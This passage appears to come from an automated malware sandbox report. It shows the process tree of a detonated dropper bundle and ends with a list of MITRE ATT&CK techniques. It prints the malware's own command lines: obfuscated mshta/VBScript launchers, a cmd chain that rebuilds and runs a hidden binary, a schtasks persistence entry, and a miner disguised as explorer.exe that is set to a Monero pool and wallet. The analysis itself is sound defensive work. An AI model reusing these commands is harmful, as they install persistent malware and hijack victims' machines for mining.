    "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"
    3⤵
    PID:1900
  - - C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )
      4⤵
      PID:5224
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ) do taskkill -f -iM "%~NxM"
        5⤵
        
        PID:5908
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill -f -iM "search_hyperfs_206.exe"
        6⤵
        Kills process with taskkill
        
        PID:3068
      - C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe
        
        ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi
        6⤵
        
        PID:6768
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )
        7⤵
        
        PID:6328
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If "/PLQtzfgO0m8dRv4iYALOqi "=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"
        8⤵
        
        PID:6996
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbScRIpt:CLosE ( cReAteobjEcT("wscRiPt.SheLl" ). RUn ("C:\Windows\system32\cmd.exe /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = ""MZ"" > hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC " , 0, tRUE) )
        7⤵
        
        PID:7492
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = "MZ" >hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V +1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC& Del /q *&starT msiexec -Y ..\lXQ2g.WC
        8⤵
        
        PID:7676
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>hKS2IU.1Q"
        9⤵
        
        PID:7132
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" EcHo "
        9⤵
        
        PID:6584
        
        C:\Windows\SysWOW64\msiexec.exe
        
        msiexec -Y ..\lXQ2g.WC
        9⤵
        
        PID:6452
- - C:\Users\Admin\AppData\Local\Temp\setup.exe
    "C:\Users\Admin\AppData\Local\Temp\setup.exe"
    3⤵
    PID:6124
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 6124 -s 604
      4⤵
      Program crash
      PID:4468
- - C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe
    "C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"
    3⤵
    PID:5524
  - - C:\Users\Admin\AppData\Roaming\Calculator\setup.exe
      C:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=1
      4⤵
      PID:6860
    - - C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--bo6y9QQgnM"
        5⤵
        
        PID:7628
      - C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x1dc,0x1d8,0x1d4,0x210,0x1d0,0x7ff860a7dec0,0x7ff860a7ded0,0x7ff860a7dee0
        6⤵
        
        PID:1216
      - C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1804,16060220749125561104,10236753261796751513,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7628_378911941" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1716 /prefetch:2
        6⤵
        
        PID:3996
      - C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1804,16060220749125561104,10236753261796751513,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7628_378911941" --mojo-platform-channel-handle=2132 /prefetch:8
        6⤵
        
        PID:5568
      - C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1804,16060220749125561104,10236753261796751513,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7628_378911941" --mojo-platform-channel-handle=1852 /prefetch:8
        6⤵
        
        PID:1104
      - C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1804,16060220749125561104,10236753261796751513,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7628_378911941" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2408 /prefetch:1
        6⤵
        
        PID:4184
      - C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1804,16060220749125561104,10236753261796751513,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7628_378911941" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --mojo-platform-channel-handle=2504 /prefetch:1
        6⤵
        
        PID:4512
      - C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1804,16060220749125561104,10236753261796751513,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7628_378911941" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=3112 /prefetch:2
        6⤵
        
        PID:6752
      - C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1804,16060220749125561104,10236753261796751513,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7628_378911941" --mojo-platform-channel-handle=2480 /prefetch:8
        6⤵
        
        PID:8012
      - C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1804,16060220749125561104,10236753261796751513,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7628_378911941" --mojo-platform-channel-handle=3628 /prefetch:8
        6⤵
        
        PID:9108
      - C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1804,16060220749125561104,10236753261796751513,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7628_378911941" --mojo-platform-channel-handle=3672 /prefetch:8
        6⤵
        
        PID:5016
      - C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1804,16060220749125561104,10236753261796751513,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7628_378911941" --mojo-platform-channel-handle=1420 /prefetch:8
        6⤵
        
        PID:3568
      - C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1804,16060220749125561104,10236753261796751513,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7628_378911941" --mojo-platform-channel-handle=3336 /prefetch:8
        6⤵
        
        PID:6668
- - C:\Users\Admin\AppData\Local\Temp\jgliu-game.exe
    "C:\Users\Admin\AppData\Local\Temp\jgliu-game.exe"
    3⤵
    PID:2904
- - C:\Users\Admin\AppData\Local\Temp\6.exe
    "C:\Users\Admin\AppData\Local\Temp\6.exe"
    3⤵
    PID:2080
  - - C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
      "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
      4⤵
      PID:5604
- - C:\Users\Admin\AppData\Local\Temp\Chrome5.exe
    "C:\Users\Admin\AppData\Local\Temp\Chrome5.exe"
    3⤵
    PID:5936
  - - C:\Windows\System32\conhost.exe
      "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\Chrome5.exe"
      4⤵
      PID:8132
    - - C:\Windows\System32\cmd.exe
        
        "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Roaming\services64.exe"
        5⤵
        Executes dropped EXE
        
        PID:3176
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Roaming\services64.exe"
        6⤵
        Creates scheduled task(s)
        
        PID:3228
    - - C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c "C:\Users\Admin\AppData\Roaming\services64.exe"
        5⤵
        
        PID:6024
      - C:\Users\Admin\AppData\Roaming\services64.exe
        
        C:\Users\Admin\AppData\Roaming\services64.exe
        6⤵
        
        PID:3300
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Roaming\services64.exe"
        7⤵
        
        PID:6376
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        8⤵
        
        PID:3132
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "/sihost64"
        9⤵
        
        PID:1368
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.udda/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6OAdluV/h8Wx+uVST9CwRTBBZDSizq+6yEkb73lzV2SG" --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-idle-wait=5 --cinit-idle-cpu=60 --tls --cinit-stealth
        8⤵
        
        PID:5312

C:\Users\Admin\AppData\Local\Temp\7zS0E7EC7D3\Fri0431de7a47.exe
Fri0431de7a47.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2960
- C:\Users\Admin\AppData\Local\Temp\7zS0E7EC7D3\Fri0431de7a47.exe
  C:\Users\Admin\AppData\Local\Temp\7zS0E7EC7D3\Fri0431de7a47.exe
  2⤵
  PID:5236
- C:\Users\Admin\AppData\Local\Temp\7zS0E7EC7D3\Fri0431de7a47.exe
  C:\Users\Admin\AppData\Local\Temp\7zS0E7EC7D3\Fri0431de7a47.exe
  2⤵
  - Executes dropped EXE
  PID:5468

C:\Users\Admin\AppData\Local\Temp\is-224IC.tmp\Fri0471ced4d802994.tmp
"C:\Users\Admin\AppData\Local\Temp\is-224IC.tmp\Fri0471ced4d802994.tmp" /SL5="$2026E,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS0E7EC7D3\Fri0471ced4d802994.exe" /SILENT
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1128

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 5232 -ip 5232
1⤵
PID:6108

C:\Users\Admin\AppData\Roaming\MegogoSell_crypted.exe
C:\Users\Admin\AppData\Roaming\MegogoSell_crypted.exe
1⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
PID:6216
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
  2⤵
  PID:1552

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:6268
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  - Loads dropped DLL
  PID:6352

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 3520 -ip 3520
1⤵
PID:6612

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 6352 -ip 6352
1⤵
PID:6752

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 1180 -ip 1180
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6840

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 6476 -ip 6476
1⤵
PID:6992

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 632 -p 5684 -ip 5684
1⤵
PID:5440

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 5456 -ip 5456
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5928

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 648 -p 2036 -ip 2036
1⤵
PID:2912

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 4268 -ip 4268
1⤵
PID:6988

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 740 -p 2612 -ip 2612
1⤵
PID:6808

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 688 -p 720 -ip 720
1⤵
PID:5940

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 848 -p 6276 -ip 6276
1⤵
PID:5392

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 824 -p 5372 -ip 5372
1⤵
PID:6948

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 772 -p 5092 -ip 5092
1⤵
PID:6884

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 2200 -ip 2200
1⤵
PID:5280

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 672 -p 4388 -ip 4388
1⤵
PID:5908

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 712 -p 2824 -ip 2824
1⤵
PID:5584

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 736 -p 6216 -ip 6216
1⤵
PID:5936

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 720 -p 6256 -ip 6256
1⤵
PID:6636

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 732 -p 6336 -ip 6336
1⤵
PID:1240

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 780 -p 6248 -ip 6248
1⤵
PID:2240

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 384 -p 2116 -ip 2116
1⤵
PID:3176

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 704 -p 1068 -ip 1068
1⤵
PID:4688

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 692 -p 5476 -ip 5476
1⤵
PID:5680

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 684 -p 2640 -ip 2640
1⤵
PID:7156

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
PID:5188
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 5188 -s 456
  2⤵
  - Program crash
  PID:7816

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:7072

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 844 -p 5188 -ip 5188
1⤵
PID:7400

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 664 -p 6124 -ip 6124
1⤵
PID:6928

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 1068 -ip 1068
1⤵
PID:5424

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 6608 -ip 6608
1⤵
PID:7804

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 776 -p 6332 -ip 6332
1⤵
PID:6876

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 876 -p 5892 -ip 5892
1⤵
PID:7660

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 620 -p 1916 -ip 1916
1⤵
PID:1548

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:2780
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:3928
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3928 -s 448
    3⤵
    - Program crash
    PID:7220

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:4824

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 668 -p 3928 -ip 3928
1⤵
PID:7196

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 804 -p 6204 -ip 6204
1⤵
PID:1032

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 704 -p 5996 -ip 5996
1⤵
PID:7648

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 1956 -ip 1956
1⤵
PID:7388

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 804 -p 4600 -ip 4600
1⤵
PID:6484

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 668 -p 6000 -ip 6000
1⤵
PID:6748

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 384 -p 1316 -ip 1316
1⤵
PID:1804

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:8184

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:660

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:8172
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding FD6E27C89EC541D5CE49F77D1AEE5744 C
  2⤵
  PID:6252
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 6B664F9CD728E9FB8DA738FDAF2F2D7E
  2⤵
  PID:2908
- - C:\Windows\SysWOW64\taskkill.exe
    "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
    3⤵
    - Kills process with taskkill
    PID:6744
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 952706C83D29DF48C253D5E561E328A3 E Global\MSI0000
  2⤵
  PID:1452

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:2384
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:5284
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5284 -s 448
    3⤵
    - Program crash
    PID:2180

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
1⤵
PID:7624

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 712 -p 5284 -ip 5284
1⤵
PID:7280

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 4844 -ip 4844
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5440

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:1592

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 6532 -ip 6532
1⤵
PID:8096

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 4956 -ip 4956
1⤵
PID:1560

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 808 -p 5808 -ip 5808
1⤵
PID:8304

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 736 -p 4956 -ip 4956
1⤵
PID:8344

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 732 -p 6180 -ip 6180
1⤵
PID:6952

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:6120
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:6232
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 6232 -s 448
    3⤵
    - Program crash
    PID:2944

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 8480 -ip 8480
1⤵
PID:8400

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 812 -p 6232 -ip 6232
1⤵
PID:3128

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 816 -p 9060 -ip 9060
1⤵
PID:5048

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 808 -p 7300 -ip 7300
1⤵
PID:5356

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 384 -p 7300 -ip 7300
1⤵
PID:5948

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 808 -p 5940 -ip 5940
1⤵
PID:4820

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 384 -p 2956 -ip 2956
1⤵
PID:8332

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 692 -p 8788 -ip 8788
1⤵
PID:2140

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Command-Line Interface

T1059

Scheduled Task

Persistence

Hidden Files and Directories

T1158

Modify Existing Service

T1031

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Disabling Security Tools

T1089

Hidden Files and Directories

T1158

Impair Defenses

T1562

Install Root Certificate

T1130

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

Remote System Discovery

T1018

System Information Discovery